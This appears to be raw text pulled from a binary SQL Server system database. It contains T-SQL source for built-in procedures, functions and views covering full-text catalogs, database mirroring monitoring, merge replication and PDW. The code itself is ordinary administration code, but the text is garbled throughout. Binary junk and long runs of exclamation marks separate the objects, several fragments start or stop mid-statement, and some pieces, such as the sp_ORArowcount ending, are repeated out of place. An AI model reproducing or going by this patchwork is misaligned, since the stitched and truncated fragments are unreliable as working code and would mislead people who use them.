        SELECT    @lead_char    = N'{',
                @trail_char    = N'}'
    END
    ELSE IF @quote_character IN (N'''', N'"')
    BEGIN
        SELECT    @lead_char = @quote_character,
                @trail_char = @quote_character
    END
    ELSE
    BEGIN
        -- Quotename doesn't issue an error and just outputs NULL.
        -- Do the same thing here
        RETURN NULL
    END

    -- Replace trail character with a duplicate version
    SELECT @result = @lead_char + REPLACE(@string, @trail_char, @trail_char + @trail_char) + @trail_char
    RETURN @result
end
0
@ 8
create procedure sys.sp_MSenummergepublications 
(
    @publication sysname = NULL,
    @category int = NULL
)
as
BEGIN
    set nocount on
    declare @publisher            sysname
            ,@publisher_db        sysname

    select @publisher=publishingservername()
    select @publisher_db=db_name()
    
    --
    -- This SP depends on the pre-creation 
    -- of the temp table #MSenumpublications
    --
    insert into #MSenumpublications
    select @publisher_db,
            name,
            2,
            1,
            allow_pull,
            allow_anonymous,
            enabled_for_internet,
            0,
            snapshot_ready,
            0,
            1,
            is_member('db_owner'),
            0,                            --thirdparty
            N'Microsoft SQL Server',
            publisher,
            N'MSSQLSERVER',
            description,
            convert(sysname, null),
            convert(bit,0),                --allow_queued_tran
            convert(bit,0),                --allow_dts
            convert(int, null),            -- thirdparty_options
            convert(int, null),            -- queue_type
            dynamic_filters
    from     dbo.sysmergepublications
    where    status <> 0 
      and    LOWER(publisher)=LOWER(@publisher) 
      and    publisher_db=@publisher_db
      and    (@publication is null or name = @publication)

END
  sftcol.language_id as FULLTEXT_LANGUAGE
	from
			sys.fulltext_index_columns as sftcol 
			-- the nolock is to not block while crawl or master merge is creating fragments
			join sys.objects as sobj WITH (NOLOCK) on(sftcol.object_id = sobj.object_id)
			join sys.columns as scol on (sftcol.object_id = scol.object_id and sftcol.column_id = scol.column_id) 
			left outer join sys.columns as scol2 on (sftcol.object_id = scol2.object_id and sftcol.type_column_id = scol2.column_id)
			join sys.schemas as ssche on (sobj.schema_id = ssche.schema_id)
	where 	(
			  @column_name is null or
			  scol.name = @column_name
			)   
			AND (
			  @table_name is null or
			  sobj.object_id = @objid
			) 
	order by TABLE_OWNER, TABLE_NAME, FULLTEXT_COLID

	-- SUCCESS --
	return 0	-- sp_help_fulltext_columns
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
3	b2~;`1<	."Q0} K8create proc sys.sp_fulltext_catalog
    @ftcat      sysname,        -- full-text catalog name
    @action     varchar(20),    -- create | drop | | rebuild | ...
    @path       nvarchar(101) = null    -- optional file path for create (max of 100 chars!!!)
as
    declare @objname sysname,
            @tabname    nvarchar(517),
            @schemaname nvarchar(517)

    declare @execstring nvarchar (4000)

    set nocount on

    -- sp_fulltext_catalog will run under read committed isolation level --
    set transaction isolation level READ COMMITTED

    -- CHECK PERMISSIONS (must be a dbowner) --
    if (is_member('db_owner') = 0)
    begin
        raiserror(15247,-1,-1)
        return 1
    end

    if (db_name() in ('master','tempdb','model'))
    begin
        raiserror(9966, -1, -1)
        return 1
    end

    -- VALIDATE PARAMS --
    if @action is null
        OR @action not in ('create','drop','start_full','start_incremental','stop','rebuild')
        OR @ftcat is null OR datalength(@ftcat) = 0 -- allow spaces in the name, but not a 0-length string
        OR (@path is not null and @action <> 'create')
        OR (len(@path) > 100)
    begin
        raiserror(15600,-1,-1,'sys.sp_fulltext_catalog')
        return 1
    end

    -- DISALLOW USER TRANSACTION --
    set implicit_transactions off
    if @@trancount > 0
    begin
        raiserror(15002,-1,-1,'sys.sp_fulltext_catalog')
        return 1
    end

    declare @ftcatid smallint
    select @ftcatid = fulltext_catalog_id from sys.fulltext_catalogs where name = @ftcat
    if @action not in ('create', 'drop') and @ftcatid is null
    begin
		declare @curdbname sysname
		select @curdbname = db_name()
		declare @curdbnamelen int
		select @curdbnamelen = LEN(@curdbname)
		raiserror(7641,-1,-1,@ftcat, @curdbnamelen, @curdbname)
        return 1
    end

    if @action = 'create'
    begin
        -- CREATE FULLTEXT CATALOG --
        select @execstring = 'CREATE FULLTEXT CATALOG '
            + quotename( @ftcat, '[')
            + CASE
                when @path is null then ''
                else ' IN PATH '''+REPLACE(@path ,N'''',N'''''')+''''
              END

        EXEC (@execstring)
    end

    if @action = 'drop'
    begin
        -- build  DROP FULLTEXT CATALOG --
        select @execstring = 'DROP FULLTEXT CATALOG '
            + quotename( @ftcat, '[')

        EXEC (@execstring)
    end


    if @action = 'start_full'
    begin
        -- FIND all the table and start full crawl --
        declare ms_crs_ftind cursor static local for
            select T.name, schema_name(T.schema_id)
            from  sys.fulltext_indexes as FT join sys.objects as T on(FT.object_id = T.object_id)
            where FT.fulltext_catalog_id = @ftcatid
        open ms_crs_ftind
        fetch ms_crs_ftind into @tabname,@schemaname
        while @@fetch_status >= 0
        begin
            select @execstring = 'ALTER FULLTEXT INDEX ON '
                + quotename(@schemaname,'[')+'.'+quotename(@tabname,'[') + ' START FULL POPULATION '
            EXEC (@execstring)

            fetch ms_crs_ftind into @tabname,@schemaname
        end

        deallocate ms_crs_ftind
    end

    if @action = 'start_incremental'
    begin
        -- FIND all the table and start full crawl --
        declare ms_crs_ftind cursor static local for
            select T.name, schema_name(T.schema_id)
            from  sys.fulltext_indexes as FT join sys.objects as T on(FT.object_id = T.object_id)
            where FT.fulltext_catalog_id = @ftcatid
        open ms_crs_ftind
        fetch ms_crs_ftind into @tabname,@schemaname
        while @@fetch_status >= 0
        begin
            select @execstring = 'ALTER FULLTEXT INDEX ON '
                + quotename(@schemaname,'[')+'.'+quotename(@tabname,'[') + ' START INCREMENTAL POPULATION '
            EXEC (@execstring)

            fetch ms_crs_ftind into @tabname,@schemaname
        end

        deallocate ms_crs_ftind
    end

    if @action = 'stop'
    begin
        -- FIND all the table and start full crawl --
        declare ms_crs_ftind cursor static local for
            select T.name, schema_name(T.schema_id)
            from  sys.fulltext_indexes as FT join sys.objects as T on(FT.object_id = T.object_id)
            where FT.fulltext_catalog_id = @ftcatid
        open ms_crs_ftind
        fetch ms_crs_ftind into @tabname,@schemaname
        while @@fetch_status >= 0
        begin
            select @execstring = 'ALTER FULLTEXT INDEX ON '
                + quotename(@schemaname,'[')+'.'+quotename(@tabname,'[') + ' STOP POPULATION '
            EXEC (@execstring)

            fetch ms_crs_ftind into @tabname,@schemaname
        end

        deallocate ms_crs_ftind
    end

    if @action = 'rebuild'
    begin
        -- REBUILD FULLTEXT CATALOG --
        select @execstring = 'ALTER FULLTEXT CATALOG '
            + quotename( @ftcat, '[') +' REBUILD '

        EXEC (@execstring)

    end

    return 0    -- sp_fulltext_catalog
0FE 8create function sys.fn_virtualservernodes
	(
	)
returns @tab table(NodeName sysname NOT NULL, status int, status_description nvarchar(32), is_current_owner bit)
as
begin
	insert @tab
	select * from sys.dm_os_cluster_nodes

	return
end
0* P81h^>_J@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<{cDg^0}#| #8create proc sys.sp_fulltext_database
    @action     varchar(20)     -- 'enable' | 'disable'
as
    declare @ftcat      sysname,
            @ftcatid    smallint,
            @path       nvarchar(260),
            @objid      int,
            @dbid       int,
            @dbname     sysname,
            @objname    sysname,
            @sch_id        int,
            @vc1        nvarchar(517)   -- "[owner].[object]"

    declare @execstring nvarchar (4000)

    set nocount on

    -- sp_fulltext_database will run under read committed isolation level --
    set transaction isolation level READ COMMITTED

    select @dbname = db_name()
    select @dbid = db_id()

    -- CHECK PERMISSIONS (must be a dbowner) --
    if (is_member('db_owner') = 0)
    begin
        raiserror(15247,-1,-1)
        return 1
    end

    if (@dbname in ('master','tempdb','model'))
    begin
        raiserror(9966, -1, -1)
        return 1
    end

    -- VALIDATE PARAMS --
    if @action is null OR @action not in ('enable','disable')
    begin
        raiserror(15600,-1,-1,'sys.sp_fulltext_database')
        return 1
    end

    -- DISALLOW USER TRANSACTION --
    set implicit_transactions off
    if @@trancount > 0
    begin
        raiserror(15002,-1,-1,'sys.sp_fulltext_database')
        return 1
    end

    -- CHECK DATABASE MODE (must not be read-only) --
    if ((SELECT is_read_only FROM sys.databases WHERE name=@dbname) = 1)
    begin
        raiserror(15635, -1, -1, 'sp_fulltext_database')
        return 1
    end

    -- CHECK IF WE'RE TRANSITIONING FROM ENABLED TO DISABLED STATE --
    if @action = 'disable' and DATABASEPROPERTYEX(@dbname, 'IsFulltextEnabled') = 1
    begin
        -- CLEAR SYSDATABASES BIT AND PROPAGATE W/ CHECKPOINT --
        EXEC %%DatabaseEx(Name = @dbname).SetFulltextEnabled(Value = 0)
        checkpoint

        -- DROP ALL CATALOGS WITH THIS DATABASE --
        DBCC CALLFULLTEXT ( 7, @dbid )  -- FTDropAllCatalogs ( "@dbid" )
        if @@error <> 0
            return 1
    end

    -- CHECK IF WE'RE TRANSITIONING FROM DISABLED TO ENABLED STATE --
    if @action = 'enable' and DATABASEPROPERTYEX(@dbname, 'IsFulltextEnabled') = 0
    begin
        -- SET SYSDATABASES BIT AND PROPAGATE W/ CHECKPOINT --
        EXEC %%DatabaseEx(Name = @dbname).SetFulltextEnabled(Value = 1)
        -- CHECKPOINT TO PUSH SYSDATABASES BIT TO MEMORY --
        checkpoint

        -- REBUILD CATALOGS --
        declare ms_crs_ftcat cursor static local for
            select name from sys.fulltext_catalogs
        open ms_crs_ftcat
        fetch ms_crs_ftcat into @ftcat
        while @@fetch_status >= 0
        begin
            select @execstring = 'ALTER FULLTEXT CATALOG '
                + quotename( @ftcat, '[')
                + ' REBUILD '
            EXEC (@execstring)

            fetch ms_crs_ftcat into @ftcat
        end
        deallocate ms_crs_ftcat


    end

	BEGIN TRANSACTION

		-- EMDEventType(x_eet_Alter_Database), EMDUniversalClass(x_eunc_Database), src major id, src minor id, src name
		-- -1 means target ignored, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 202, ID = 0, ID = @dbid, ID = 0, Value = @dbname,
			ID = -1, ID = 0, ID = 0, Value = NULL, ID = 1,
			Value = @action, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

	COMMIT TRANSACTION

    -- SUCCESS --
    return 0    -- sp_fulltext_database
0@ 8CREATE VIEW sys.indexes$ AS
	SELECT id AS object_id,
		indid AS index_id,
		rowset
	FROM sys.sysidxstats
	WHERE indid < 256000 AND (status & 1) = 1 -- IS_INDEX
0|@ q8CREATE VIEW sys.dm_os_threads AS
	SELECT *
	FROM OpenRowSet(TABLE SYSTHREADS)
0@ !8create procedure sys.sp_dbmmonitoraddmonitoring 
(
    @update_period		int = 1	-- in minutes
)
as
begin	
	set nocount on
	-- check to see if SYSADMIND
	if (is_srvrolemember(N'sysadmin') <> 1 )
    begin
		raiserror(21089, 16, 1)
		return (1)
	end

	declare @retcode		int,
			@category_id	int,
			@jobid			binary(16),
			@jobname		nvarchar( 256 ),
			@schedname		nvarchar( 256 )

	select @jobname   = isnull( formatmessage( 32047 ), N'Database Mirroring Monitor Job' )
	select @schedname = isnull( formatmessage( 32048 ), N'Database Mirroring Schedule' )

	-- Validate update_period to make sure that it is a reasonable number. 1 - 120 minutes for now. This value is int.
	-- Do not forget to change this in the sys.sp_dbmmonitorchangemonitoring below.
	if (@update_period < 1 or @update_period > 120)
	begin
 		raiserror ( 32032, 16, 1, @update_period )	-- specific message for the update period.
		return 1 
	end
	-- Find out if job is already there
	select @jobid = job_id, @category_id = category_id
        from msdb.dbo.sysjobs_view 
        where name = @jobname
	-- If the job already exists, error out
	if (@jobid is not null)	
	begin
		raiserror( 32033, 16, 1 )
		return 1 
	end

	-- By default, this job may run as the sql job agent.
	--
	exec @retcode = msdb.dbo.sp_add_job @job_name=@jobname, 
			@enabled=1, 
			@notify_level_eventlog=0, 
			@notify_level_email=2, 
			@notify_level_netsend=2, 
			@notify_level_page=2, 
			@delete_level=0, 
			@category_name=N'', -- TO DO: get another catagory_name.
			@job_id = @jobid output
	if (@@error != 0 or @retcode != 0 )
	begin
		raiserror( 32034, 16, 1 )
		return 1
	end

	exec @retcode = msdb.dbo.sp_add_jobserver @job_name=@jobname, @server_name = @@servername
	if ( @@error != 0 or @retcode != 0 )
	begin
		raiserror( 32034, 16, 2 )
		return 1
	end
	exec @retcode = msdb.dbo.sp_add_jobstep @job_name=@jobname,
			@step_name=N'', 
			@step_id=1, 
			@cmdexec_success_code=0, 
			@on_success_action=1, 
			@on_fail_action=2, 
			@retry_attempts=0, 
			@retry_interval=0, 
			@os_run_priority=0, @subsystem=N'TSQL', 
			@command=N'exec sys.sp_dbmmonitorupdate ', 
			@database_name=N'msdb', 
			@flags=0
	if ( @@error != 0 or @retcode != 0 )
	begin
		raiserror( 32034, 16, 3 )
		return 1
	end
	exec @retcode = msdb.dbo.sp_update_job @job_name=@jobname, 
			@enabled=1, 
			@start_step_id=1, 
			@notify_level_eventlog=0, 
			@notify_level_email=2, 
			@notify_level_netsend=2, 
			@notify_level_page=2, 
			@delete_level=0, 
			@description=N'', 
			@category_name=N'',  -- TO DO: get a catagory context: get from tools team.
			@notify_email_operator_name=N'', 
			@notify_netsend_operator_name=N'', 
			@notify_page_operator_name=N''
	if ( @@error != 0 OR @retcode != 0 )
	begin
		raiserror( 32034, 16, 4 )
		return 1
	end
	-- TO DO: if the job is already there, then we do not need to do these.
	-- TO DO: use the job_id for referencing the job.

	exec @retcode = msdb.dbo.sp_add_jobschedule @job_name=@jobname, @name=@schedname, 
			@enabled=1, 
			@freq_type=4, 
			@freq_interval=1, 
			@freq_subday_type=4,					-- this is in minutes
			@freq_subday_interval=@update_period,	-- this comes from the input to the proc.
			@freq_relative_interval=0, 
			@freq_recurrence_factor=1, 
			@active_start_date=null,
			@active_end_date=99991231, 
			@active_start_time=0, 
			@active_end_time=235959

	if ( @@error != 0 OR @retcode != 0 )
	begin
		raiserror( 32034, 16, 5 )
		return 1
	end
	
	return 0
end
ut, deadlock_priority, row_count,
		prev_error, nest_level, granted_query_memory, executing_managed_code, group_id, query_hash, query_plan_hash
	FROM OpenRowset(TABLE SYSREQUESTS)
0|@ q8CREATE VIEW sys.dm_os_threads AS
	SELECT *
	FROM OpenRowSet(TABLE SYSTHREADS)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! I`	<{yp0G@ x8CREATE VIEW sys.dm_os_loaded_modules AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMODULES)
0:| 8--
-- Name: fn_replcomposepartitionfolder
--
-- Description: Helper function for composing the folder name for a given
--              merge dynamic partition.
--
-- Parameters: @suser_sname
--             @host_name
--             @partition_id
--
-- Returns: nvarchar(4000)
--
-- Security: This is an internal system function
--
create function sys.fn_replcomposepartitionfolder(
    @suser_sname    sysname,
    @host_name      sysname,
    @partition_id   int
    ) returns nvarchar(4000)
as
begin
    declare @partition_folder nvarchar(4000)
    set @partition_folder = N''
    set @suser_sname = coalesce(@suser_sname, N'')
    set @host_name = coalesce(@host_name, N'')

    if @suser_sname = N'' and @host_name <> N''
        set @partition_folder = sys.fn_replaceinvalidfilenamesymbols(substring(@host_name, 1, 18)) collate database_default + '_'
    if @suser_sname <> N'' and @host_name = N''
        set @partition_folder = sys.fn_replaceinvalidfilenamesymbols(substring(@suser_sname, 1, 18)) collate database_default + '_'
    if @suser_sname <> N'' and @host_name <> N''
        set @partition_folder = sys.fn_replaceinvalidfilenamesymbols(substring(@suser_sname, 1, 9)) collate database_default + '_' + sys.fn_replaceinvalidfilenamesymbols(substring(@host_name, 1, 8)) collate database_default + '_'

    set @partition_folder = @partition_folder + convert(nvarchar(6), @partition_id)
    return @partition_folder
end
0R@ 8-- ===========================
-- Name:            sp_MSNonSQLDDLForSchemaDDL
-- Description:      translate DDL for schema change so SSCE can pick up
-- Caller:            sp_MSmerge_alterview
--                        sp_MSmerge_altertrigger
--                        sp_MSmerge_schemaonly
-- Security:         Public interface, in resource DB
-- Returns:          0 : success
--                        1 : failure          
-- Owner:           zhenl
-- ===========================
create procedure sys.sp_MSNonSQLDDLForSchemaDDL(
@artid uniqueidentifier,
@pubid uniqueidentifier,
@ddlcmd nvarchar(max)
)
AS
    -- SSCE does not support these for now
    return 0
0S 8
--
-- Name:    
--          sp_ORArowcount
--          
-- Description: 
--          Record row count entry in HREPL events
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORArowcount
(
	@publisher			sysname,
	@owner				sysname,
	@table				sysname,
	@publicationid		int,
	@articleid			int,
	@command_type		int,
	@command			nvarchar(4000),
	@subscription_level	bit
)
AS
BEGIN
	declare @OracleCommand	nvarchar(4000),
			@retcode		int

	SET @retcode = 0

	SET NOCOUNT ON 


	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)
	
	-- Build command
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.RowCnt(')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@owner, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@table, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(varchar(10),@publicationid) + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(varchar(10),@articleid) + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(varchar(10),@command_type) + N',')
	INSERT INTO #hquery (cmd) VALUES (sys.fn_replquotename(@command, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(nvarchar(10), @subscription_level) + N')}')
	EXEC @retcode = sys.sp_IHquery @publisher

	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21651, 16, -1, 'RowCnt', @publisher)
    	RETURN (1)
	END
END
0c 8create function sys.fn_replreplacesinglequoteplusprotectstring (
    @pstrin nvarchar(4000) )
returns nvarchar(4000)
as
begin
    declare @pstrout nvarchar(4000)

    if (@pstrin is not null)
    begin
        select @pstrout = REPLACE(@pstrin, N'''', N'''''')
        select @pstrout = N'''' + @pstrout + N''''
    end
    else
        select @pstrout = N'NULL'

    return @pstrout
end
0Q@ L8create procedure sys.sp_MSgetlightweightmetadatabatch
	@pubid			uniqueidentifier,
	@artnickarray	varbinary(2000),
	@rowguidarray	varbinary(8000)
as
	set nocount on
	
	declare @pubnick			int
    declare @artnick 			int
    declare @artnicklast		int
    declare @rowguid 			uniqueidentifier
    declare @type  				tinyint
    declare @retcode        	smallint
    declare @artnickarraylength int
    declare @artnickarrayidx	int
    declare @rowguidarrayidx	int
	declare @procname			nvarchar(70)
	declare @postfix			nchar(32)
	declare @rowvector			varbinary(11)
	declare @changedcolumns		varbinary(128)
	declare @artid				uniqueidentifier
	declare @columns_enumeration tinyint

	declare @METADATA_TYPE_InsertLightweight tinyint
	declare @METADATA_TYPE_UpdateLightweight tinyint
	declare @METADATA_TYPE_DeleteLightweight tinyint
	declare @METADATA_TYPE_UpsertLightweightProcessed tinyint
	declare @METADATA_TYPE_DeleteLightweightProcessed tinyint

	-- Security check
	exec @retcode= sys.sp_MSreplcheck_subscribe
	if @@error <> 0 or @retcode <> 0 return (1)

    if (@artnickarray is null)
    begin
        raiserror(14043, 16, -1, '@artnickarray', 'sp_MSgetlightweightmetadatabatch')
        return (1)
    end
    if (@rowguidarray is null)
    begin
        raiserror(14043, 16, -1, '@rowguidarray', 'sp_MSgetlightweightmetadatabatch')
        return (1)
    end
    
	set @METADATA_TYPE_InsertLightweight= 7 
	set @METADATA_TYPE_UpdateLightweight= 8
	set @METADATA_TYPE_DeleteLightweight= 10
	set @METADATA_TYPE_UpsertLightweightProcessed= 11
	set @METADATA_TYPE_DeleteLightweightProcessed= 12
    set @artnicklast= 0
    set @artnickarrayidx= 1
    set @rowguidarrayidx= 1
    set @artnickarraylength= datalength(@artnickarray)

	select @pubnick = sync_info from dbo.MSmerge_replinfo where repid = @pubid

    -- walk through arrays and populate temp table
    while (@artnickarrayidx < @artnickarraylength)
    begin
		set @artnick= substring(@artnickarray, @artnickarrayidx, 4)
		set @rowguid= substring(@rowguidarray, @rowguidarrayidx, 16)

		-- find the stored proc that figures out the metadata type of the row
		if @artnick <> @artnicklast
		begin
			select @artid= artid, @postfix= procname_postfix
				from dbo.sysmergearticles 
				where pubid = @pubid and nickname = @artnick

			select @procname= quotename('MSmerge_lws_sp_multi_' + @postfix)
			set @artnicklast= @artnick
		end

		exec @retcode= @procname
							@action= 3,
							@rowguid= @rowguid,
							@type= @type output,
							@rowvector= @rowvector output,
							@changedcolumns= @changedcolumns output,
							@columns_enumeration= @columns_enumeration output
		if @@error <>0 or @retcode <> 0 goto Failure

		select @type as type, 
		       @rowvector as rowvector, 
		       @changedcolumns as changedcolumns,
		       @columns_enumeration as columns_enumeration

		-- bump up offsets for next time through loop
		set @artnickarrayidx = @artnickarrayidx + 4
		set @rowguidarrayidx = @rowguidarrayidx + 16
	end

	return 0
Failure:
	return 1

 VALUES (sys.fn_replquotename(@command, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(nvarchar(10), @subscription_level) + N')}')
	EXEC @retcode = sys.sp_IHquery @publisher

	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21651, 16, -1, 'RowCnt', @publisher)
    	RETURN (1)
	END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6x	-`<	?L)2&n0ph@ 8-- Create the stored procedure to generate an error using 
-- RAISERROR. The original error information is used to
-- construct the msg_str for RAISERROR.
CREATE PROCEDURE sys.sp_fulltext_rethrow_error
AS
BEGIN
    -- Return if there is no error information to retrieve.
    IF ERROR_NUMBER() IS NULL
        RETURN;

    DECLARE 
        @ErrorMessage    NVARCHAR(4000),
        @ErrorNumber     INT,
        @ErrorSeverity   INT,
        @ErrorState      INT,
        @ErrorLine       INT,
        @ErrorProcedure  NVARCHAR(200);

    -- Assign variables to error-handling functions that 
    -- capture information for RAISERROR.
    SELECT 
        @ErrorNumber = ERROR_NUMBER(),
        @ErrorSeverity = ERROR_SEVERITY(),
        @ErrorState = ERROR_STATE(),
        @ErrorLine = ERROR_LINE(),
        @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

    -- Build the message string that will contain original
    -- error information.
    SELECT @ErrorMessage = 
        N'Error %d, Level %d, State %d, Procedure %s, Line %d, ' + 
            'Message: '+ ERROR_MESSAGE();

    -- Raise an error: msg_str parameter of RAISERROR will contain
    -- the original error information.
    RAISERROR 
        (
        @ErrorMessage, 
        @ErrorSeverity, 
        1,               
        @ErrorNumber,    -- parameter: original error number.
        @ErrorSeverity,  -- parameter: original error severity.
        @ErrorState,     -- parameter: original error state.
        @ErrorProcedure, -- parameter: original error procedure name.
        @ErrorLine       -- parameter: original error line number.
        ) WITH LOG, NOWAIT;

     RETURN @ErrorNumber
END
0@ 
8create procedure sys.sp_MScreate_subscription_properties_table as
begin
    create table dbo.MSsubscription_properties
    (
        publisher                    sysname    not null,
        publisher_db                sysname    null,
        publication                    sysname    not null,
        publication_type            int    not null,
        publisher_login                sysname    null,           -- remove in subsequent release
        publisher_password            nvarchar(524) null,   -- remove in subsequent release
        publisher_security_mode        int    not null,
        distributor                    sysname    null,
        distributor_login            sysname    null,
        distributor_password        nvarchar(524) null,
        distributor_security_mode    int    not null,
        ftp_address                    sysname    null,
        ftp_port                    int    null,
        ftp_login                    sysname    null,
        ftp_password                nvarchar(524) null,
        alt_snapshot_folder            nvarchar(255) null,
        working_directory            nvarchar(255) null,
        use_ftp                        bit default 0 not null,
        dts_package_name            sysname null,
        dts_package_password        nvarchar(524) null,
        dts_package_location        int    default 1 not null,
        enabled_for_syncmgr            bit default 0 not null,
        offload_agent                bit default 0 not null,
        offload_server                sysname null,
        dynamic_snapshot_location    nvarchar(255) null,
        use_web_sync                bit default 0 NOT NULL,
        internet_url                nvarchar(260) NULL,
        internet_login                sysname        NULL,
        internet_password            nvarchar(524)    NULL,
        internet_security_mode        int            NOT NULL default 0,
        internet_timeout            int    NOT NULL default 300,
        hostname                    sysname        NULL,
        publisherlink sysname NULL,
        publisherlinkuser sysname NULL,
        job_step_uid                uniqueidentifier
    )

    if @@error <> 0 return 1

    create unique clustered index uc1MSsubscription_properties on
            MSsubscription_properties(publication, publisher_db, publisher)
    if @@error <> 0    return 1
  
    exec dbo.sp_MS_marksystemobject MSsubscription_properties
    if @@error <> 0 return 1

    return 0
end
0_ 8
create procedure sys.sp_MSrepl_enable_heterogeneous_subscription
(
    @publication	sysname,
    @publisher		sysname,
    @publisher_type	sysname
) 
AS
BEGIN
    DECLARE @retcode	int

    -- Security Check
    EXEC @retcode = sys.sp_MSreplcheck_publish

    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RETURN (1)
    END

    -- Verify database has been activated for publication.
    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    -- Call sp_changepublication to enable the publication for heterogeneous
    -- subscriptions
    EXEC @retcode = sys.sp_MSrepl_changepublication @publication = @publication,
                                                                    @property = N'enabled_for_het_sub',
                                                                    @value=  N'true',
                                                                    @force_invalidate_snapshot = 1,
                                                                    @force_reinit_subscription = 1,
                                                                    @publisher = @publisher,
                                                                    @publisher_type = @publisher_type

    IF @retcode != 0 OR @@ERROR != 0
    BEGIN
        RETURN (1)
    END

    RETURN (0)
END
see if the object was not there.  
										-- if it wasn't there, continue.
			return 1
		end

return 0
end
0N 8
CREATE FUNCTION sys.dm_db_objects_disabled_on_compatibility_level_change(@compatibility_level int)
RETURNS TABLE AS		
	RETURN SELECT * FROM OPENROWSET(TABLE SYSTEM_REFERENCES, 0, @compatibility_level, NULL, NULL)
0 8CREATE VIEW sys.fulltext_thesaurus_files AS
	select lcid as [lcid], 
		   thesaurus_file_path as [thesaurus_file_path]
		   from sys.fn_ft_thesaurus_files()
0zcY 8
create procedure sys.sp_filestream_recalculate_container_size
(
	@dbname sysname,			-- name of the database to process
	@filename sysname = NULL	-- FILESTREAM file container name to recalculate
)
as
begin
	set nocount    on

	declare @returncode	int

	EXEC @returncode = sys.sp_filestream_recalculate_container_size_internal @dbname, @filename

	return @returncode
end
07
@ 8CREATE PROC sys.sp_help_spatial_geometry_index
(
	@tabname		NVARCHAR(776),		-- the TABLE to check for indexes
	@indexname		SYSNAME,		-- the INDEX name
	@verboseoutput	TINYINT,		-- OUTPUT all properties
	@query_sample	GEOMETRY		-- query window object
)
AS
BEGIN
	EXEC sys.sp_help_spatial_geometry_index_helper @tabname, @indexname, 0, null, @verboseoutput, @query_sample
END
0 8 
-- add it
create view sys.dm_pdw_nodes_tran_top_version_generators as
select *, convert(int, null) pdw_node_id from sys.dm_tran_top_version_generators
0N@ 8 
-- add it
create view sys.pdw_distributions as
select
	distribution_id,
	pdw_node_id,
	name	collate database_default name,
	position
from sys._pdw_distributions
059 Q8 
-- add it
create view sys.dm_pdw_component_health_status as
select
	pdw_node_id,
	component_id,
	property_id,
	component_instance_id	collate database_default component_instance_id,
	property_value	collate database_default property_value,
	update_time
from sys._dm_pdw_component_health_status

	name	collate database_default name,
	position
from sys._pdw_distributions
$s

g7$iH7`<]-¼0z 8
create procedure sys.sp_updatestats
	@resample char(8)='NO'
as
	
	declare @dbsid varbinary(85)
	
	select @dbsid = owner_sid
		from sys.databases
		where name = db_name()

	-- Check the user sysadmin
	if not is_srvrolemember('sysadmin') = 1 and suser_sid() <> @dbsid
	begin
		raiserror(15247,-1,-1)
		return (1)
	end
	-- cannot execute against R/O databases  
	if DATABASEPROPERTYEX(db_name(), 'Updateability')=N'READ_ONLY'
	begin
		raiserror(15635,-1,-1,N'sp_updatestats')
		return (1)
	end

	if upper(@resample)<>'RESAMPLE' and upper(@resample)<>'NO'
	begin
		raiserror(14138, -1, -1, @resample)
		return (1)
	end

	-- required so it can update stats on ICC/IVs
	set ansi_warnings on
	set ansi_padding on
	set arithabort on
	set concat_null_yields_null on
	set numeric_roundabort off

